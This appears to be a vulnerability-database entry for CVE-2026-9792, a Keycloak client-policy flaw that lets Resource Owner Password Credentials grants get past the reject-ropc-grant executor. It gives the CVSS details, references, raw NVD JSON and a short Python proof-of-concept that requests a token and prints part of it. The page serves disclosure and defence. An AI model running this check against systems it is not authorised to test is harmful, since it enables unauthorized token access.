CVE-2026-9792

Description

A flaw was found in Keycloak's Client Policies, specifically within the `org.keycloak.protocol.oidc` component. When certain condition providers (client-type, client-roles, client-attributes, client-scopes) are used to enforce security restrictions, the `reject-ropc-grant` executor is silently bypassed. This allows an unauthenticated remote attacker to obtain tokens via a Resource Owner Password Credentials (ROPC) grant, even when a policy is explicitly configured to block it. This bypass can lead to unauthorized access and information disclosure.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-9792: Keycloak reject-ropc-grant bypass
# This script demonstrates the bypass of the ROPC rejection policy.
import requests

def check_ropc_bypass(target_url, client_id, username, password):
    token_endpoint = f"{target_url}/protocol/openid-connect/token"
    
    # Payload for Resource Owner Password Credentials grant
    payload = {
        "grant_type": "password",
        "client_id": client_id,
        "username": username,
        "password": password
    }
    
    try:
        response = requests.post(token_endpoint, data=payload)
        if response.status_code == 200 and "access_token" in response.json():
            print("[+] Vulnerability Confirmed: ROPC grant allowed despite policy.")
            print(f"[+] Access Token: {response.json().get('access_token')[:50]}...")
        else:
            print("[-] ROPC blocked or request failed.")
    except Exception as e:
        print(f"Error: {e}")

# Example usage
# check_ropc_bypass("https://keycloak.example.com/realms/master", "admin-cli", "user", "pass")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9792
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9792
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9792/
[4] VulDB https://vuldb.com/cve/CVE-2026-9792
[5] https://access.redhat.com/security/cve/CVE-2026-9792
[6] https://bugzilla.redhat.com/show_bug.cgi?id=2482459

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9792", "sourceIdentifier": "[email protected]", "published": "2026-05-28T05:16:40.537", "lastModified": "2026-05-28T05:16:40.537", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak's Client Policies, specifically within the `org.keycloak.protocol.oidc` component. When certain condition providers (client-type, client-roles, client-attributes, client-scopes) are used to enforce security restrictions, the `reject-ropc-grant` executor is silently bypassed. This allows an unauthenticated remote attacker to obtain tokens via a Resource Owner Password Credentials (ROPC) grant, even when a policy is explicitly configured to block it. This bypass can lead to unauthorized access and information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-280"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9792", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482459", "source": "[email protected]"}]}}